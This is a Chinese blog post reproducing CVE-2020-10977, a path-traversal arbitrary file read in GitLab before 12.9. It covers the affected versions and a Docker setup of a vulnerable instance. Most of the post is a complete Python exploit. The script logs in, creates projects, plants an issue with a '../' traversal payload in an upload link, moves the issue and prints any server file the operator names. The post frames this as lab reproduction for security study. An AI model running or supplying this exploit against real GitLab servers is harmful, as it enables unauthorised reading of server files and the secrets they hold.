GitLab任意文件读取漏洞(CVE-2020-10977)复现
程序员文章站
2022-03-11 10:11:52
漏洞概述GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab(企业版和社区版)12.9之前版本中存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。影响版本GitLab GitLab EE >=8.5,<=12.9GitLab GitLab C......
漏洞概述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab(企业版和社区版)12.9之前版本中存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。
影响版本
GitLab GitLab EE >=8.5,<=12.9
GitLab GitLab CE >=8.5,<=12.9
环境搭建
使用docker来安装
docker run --detach \
--hostname 127.0.0.1 \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name gitlab \
--restart always \
--volume /root/config:/etc/gitlab \
--volume /root/logs:/var/log/gitlab \
--volume /root/data:/var/opt/gitlab \
gitlab/gitlab-ee:12.1.6-ee.0
访问地址: http://127.0.0.1,这个地址是你在docker启动的时候指定的
设置root账号的密码
新注册一个普通账号
漏洞复现
Poc
#!/usr/bin/env python3
import re
import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL with http(s)://')
parser.add_argument('username', help='GitLab Username')
parser.add_argument('password', help='GitLab Password')
args = parser.parse_args()
base_url = args.url
if base_url.startswith('http://') or base_url.startswith('https://'):
pass
else:
print('[-] Include http:// or https:// in the URL!')
sys.exit()
if base_url.endswith('/'):
base_url = base_url[:-1]
username = args.username
password = args.password
login_url = base_url + '/users/sign_in'
project_url = base_url + '/projects/new'
create_url = base_url + '/projects'
prev_issue_url = ''
csrf_token = ''
project_names = ['ProjectOne', 'ProjectTwo']
session = requests.Session()
def banner():
print('-'*34)
print('--- CVE-2020-10977 ---------------')
print('--- GitLab Arbitrary File Read ---')
print('--- 12.9.0 & Below ---------------')
print('-'*34 + '\n')
print('[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]')
print('[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]\n')
def show_info():
print('[+] Target : ' + base_url)
print('[+] Username : ' + username)
print('[+] Password : ' + password)
print('[+] Project Names : {}, {}\n'.format(project_names[0], project_names[1]))
def login():
print('[!] Trying to Login...')
try:
login_req = session.get(login_url, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
login_sc = login_req.status_code
if login_sc == 200:
login_resp = login_req.text
soup = BeautifulSoup(login_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
else:
print('[-] Status : ' + str(login_req.status_code))
sys.exit()
login_data = {
'utf8': '✓',
'authenticity_token': csrf_token,
'user[login]': username,
'user[password]': password,
'user[remember_me]': 0
}
login_req = session.post(login_url, data=login_data, allow_redirects=False)
if login_req.status_code == 302 and 'redirected' in login_req.text:
print('[+] Login Successful!')
else:
print('[-] Status : ' + str(login_req.status_code))
print('[-] Login Failed!')
sys.exit()
def create_project(project):
global csrf_token
print('[!] Creating {}...'.format(project))
try:
project_req = session.get(project_url, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
project_resp = project_req.text
soup = BeautifulSoup(project_resp, 'html.parser')
inputs = soup.find_all('input')
for entry in inputs:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'project[namespace_id]':
project_id = entry.attrs['value']
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
create_data = {
'utf8': '✓',
'authenticity_token': csrf_token,
'project[ci_cd_only]': 'false',
'project[name]': project,
'project[namespace_id]': project_id,
'project[path]': project,
'project[description]': '',
'project[visibility_level]' : '0'
}
try:
create_req = session.post(create_url, data=create_data, allow_redirects=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
if create_req.status_code == 302 and 'redirected' in create_req.text:
print('[+] {} Created Successfully!'.format(project))
else:
pass
def create_issue(project_name):
global prev_issue_url
print('[!] Creating an Issue...')
issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name)
try:
issue_req = session.get(issue_url, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
issue_resp = issue_req.text
soup = BeautifulSoup(issue_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
issue_create_url = issue_url.replace('/new', '')
issue_data = {
'utf8': '✓',
'authenticity_token' : csrf_token,
'issue[title]': 'read_{}'.format(filename),
'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(filename),
'issue[confidential]' : '0',
'issue[assignee_ids][]' : '0',
'issue[label_ids][]' : '',
'issue[due_date]' : '',
'issue[lock_version]' : '0'
}
try:
create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
if create_req.status_code == 302 and 'redirected' in create_req.text:
print('[+] Issue Created Successfully!')
create_resp = create_req.text
soup = BeautifulSoup(create_resp, 'html.parser')
prev_issue_url = soup.find('a')['href']
if base_url.startswith('https://') and prev_issue_url.startswith('http://'):
prev_issue_url = prev_issue_url.replace('http://', 'https://')
else:
print('[-] Status : ' + str(create_req.status_code))
print('[-] Failed to Create an Issue!')
def move_issue(source, second, filename):
print('[!] Moving Issue...')
id_url = '{}/{}/{}'.format(base_url, username, second)
try:
id_req = session.get(id_url, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
id_resp = id_req.text
soup = BeautifulSoup(id_resp, 'html.parser')
body = soup.find('body')
data_project = body.find_all(attrs={"data-project-id":re.compile("\\d+")})
project_id = data_project[0].attrs['data-project-id']
#project_id = body.attrs['data-project-id']
move_url = prev_issue_url + '/move'
try:
csrf_req = session.get(prev_issue_url, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
csrf_resp = csrf_req.text
soup = BeautifulSoup(csrf_resp, 'html.parser')
meta = soup.find_all('meta')
for entry in meta:
if 'name' in entry.attrs:
if entry.attrs['name'] == 'csrf-token':
csrf_token = entry.attrs['content']
move_data = {
"move_to_project_id": int(project_id)
}
move_data = json.dumps(move_data)
move_headers = {
'X-CSRF-Token': csrf_token,
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/json;charset=UTF-8'
}
try:
move_req = session.post(move_url, data=move_data, headers=move_headers)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
if move_req.status_code == 200:
print('[+] Issue Moved Successfully!')
description = json.loads(move_req.text)["description"]
filepath = description.split('](')[1][1:-1]
fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath)
print('[+] File URL : ' + fileurl)
try:
contents = session.get(fileurl, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
if contents.status_code == 404:
print('[-] No such file or directory')
else:
print('\n> ' + filename)
print('{}\n\n{}\n{}\n'.format('-'*40, contents.text, '-'*40 ))
elif move_req.status_code == 500:
print('[-] Access Denied!')
else:
print('[-] Status : ' + str(move_req.status_code))
def delete_project(project):
print('[!] Deleting {}...'.format(project))
delete_data = {
'utf8': '✓',
'_method': 'delete',
'authenticity_token' : csrf_token
}
delete_url = '{}/{}/{}'.format(base_url, username, project)
try:
delete_req = session.post(delete_url, data=delete_data, verify=False)
except Exception as exc:
print('\n[-] Exception : ' + str(exc))
sys.exit()
if delete_req.status_code == 200:
print('[+] {} Successfully Deleted!'.format(project))
else:
print('[-] Status : ' + str(delete_req.status_code))
try:
banner()
show_info()
login()
for project in project_names:
create_project(project)
while True:
filename = input('[>] Absolute Path to File : ')
create_issue(project_names[0])
move_issue(project_names[0], project_names[1], filename)
except KeyboardInterrupt:
print('\n[-] Keyboard Interrupt')
for project in project_names:
delete_project(project)
sys.exit()
运行: python3 cve_2020_10977.py http://127.0.0.1 roots 123456789
最后2个参数是用户名和密码
修复建议
升级到最新版
本文地址:https://blog.csdn.net/xuandao_ahfengren/article/details/110424925